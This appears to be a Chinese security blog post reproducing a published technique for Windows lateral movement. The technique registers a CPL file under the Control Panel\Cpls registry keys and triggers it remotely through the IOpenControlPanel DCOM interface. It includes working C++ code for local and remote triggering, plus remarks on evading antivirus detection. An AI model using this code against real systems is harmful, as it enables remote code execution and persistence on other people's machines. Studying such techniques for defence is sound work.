利用控制面板相关COM接口来横向移动

作者原文: https://securelist.com/lateral-movement-via-dcom-abusing-control-panel/118232/ 。本人进行一个简单的学习以及复现。

CPL文件

CPL文件(Control Panel Item)是Windows操作系统中的一种特殊文件,主要用于存放控制面板中的各种设置项。当点击控制面板里的“鼠标”、“日期和时间”或“显示设置”时,系统实际上是在运行对应的.cpl文件。

比如说你运行main.cpl就可以跳到鼠标设置。

image-20260428111248532

CPL文件其实也就是个可执行文件,也可以用来进行权限维持。执行CPL文件(双击执行 or 控制面板执行)的底层就是使用rundll32。

rundll32.exe shell32.dll,Control_RunDLL [filename].cpl

Control_RunDLL函数会执行CPL文件的导出函数CPlApplet。如果CPL文件已经注册到注册表中了,每次打开控制面板都没通过COM代理进程dllhost加载到内存中。即使CPL没有导出CPlApplet,不符合CPL文件规范,仍然可以执行DllMain函数。

HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls

image-20260428115224084

IOpenControlPanel COM接口

shell32中的这个进程内的COM实现了COpenControlPanel类,其中的IOpenControlPanel接口msdn公开了其定义,其中存在一个Open方法, 如msdn描述的那样,这个API可以打开制定并的CPL到特定的页面。

image-20260428115410946

简单写个调用此方法的程序,代码也很简单因为我们可以直接包含这个头文件,代码如下:

#include <Windows.h>
#include <shobjidl_core.h>
#include <stdio.h>

int main() {
// 初始化 COM
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

// 创建 IOpenControlPanel 接口实例
IOpenControlPanel* pOpenCP = nullptr;
hr = CoCreateInstance(CLSID_OpenControlPanel, NULL, CLSCTX_INPROC_SERVER, IID_IOpenControlPanel, (void**)&pOpenCP);

if (FAILED(hr)) {
printf("Failed to create IOpenControlPanel instance. HRESULT: 0x%X\n", hr);
return -1;
}

const wchar_t* pszName = L"C:\\Users\\19646\\Desktop\\test.cpl";
hr = pOpenCP->Open(pszName, NULL, NULL);
if (FAILED(hr)) {
printf("Failed to open control panel item. HRESULT: 0x%X\n", hr);
return -1;
}

pOpenCP->Release();
CoUninitialize();
return 0;
}

运行后会调用此CPL文件。

image-20260429094744386

需要注意的是执行的这个CPL文件,需要在注册表中注册,即前面说的那个HKCU或者HKLM中。如下在Open方法中会调用GetPathWithLegacyCheck函数对传入的pszName进行检查,判断是否在注册表中注册。

image-20260429161913638

一直往下分析就能够看到匹配的地方,首先枚举注册表中所有的控制面板项,然后在进行匹配。

image-20260430094040809

此COM接口存在AppID,Launch和Access权限都是空的,所以该COM对象将遵循系统默认的DCOM安全策略。默认情况下,管理员组的成员可以启动和访问DCOM对象,即此COM接口可以很好的用于横向移动。

image-20260429100447355

代码如下,另外作者基于Impacket写的项目地址: https://github.com/klsecservices/CPLDCOMTrigger 。

#include <Windows.h>
#include <shobjidl_core.h>
#include <stdio.h>

int main() {
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

COSERVERINFO si = { 0 };
si.pwszName = (LPWSTR)L"192.168.30.40";

MULTI_QI mqi = { 0 };
mqi.pIID = &IID_IOpenControlPanel;

hr = CoCreateInstanceEx(
CLSID_OpenControlPanel,
NULL,
CLSCTX_REMOTE_SERVER,
&si,
1,
&mqi
);

if (FAILED(hr) || FAILED(mqi.hr)) {
printf("CoCreateInstanceEx failed: 0x%X\n", hr);
return -1;
}

IOpenControlPanel* pOpenCP = (IOpenControlPanel*)mqi.pItf;

const wchar_t* pszName = L"C:\\Users\\Public\\test.cpl";

hr = pOpenCP->Open(pszName, NULL, NULL);

if (FAILED(hr)) {
printf("Open failed: 0x%X\n", hr);
return -1;
}

pOpenCP->Release();
CoUninitialize();

return 0;
}

由于DCOM运行在Session 0(Session 0隔离)你写个弹窗的DLL肯定不可以执行,所以写个写文件的DLL验证即可。

image-20260429154816350

我感觉这种横向移动方法不是很好,因为要写注册表,即使可以绕过火绒这种基于CLSID的检测,但是写注册表依旧无法绕过,通过WMI等等方法写都会被kill。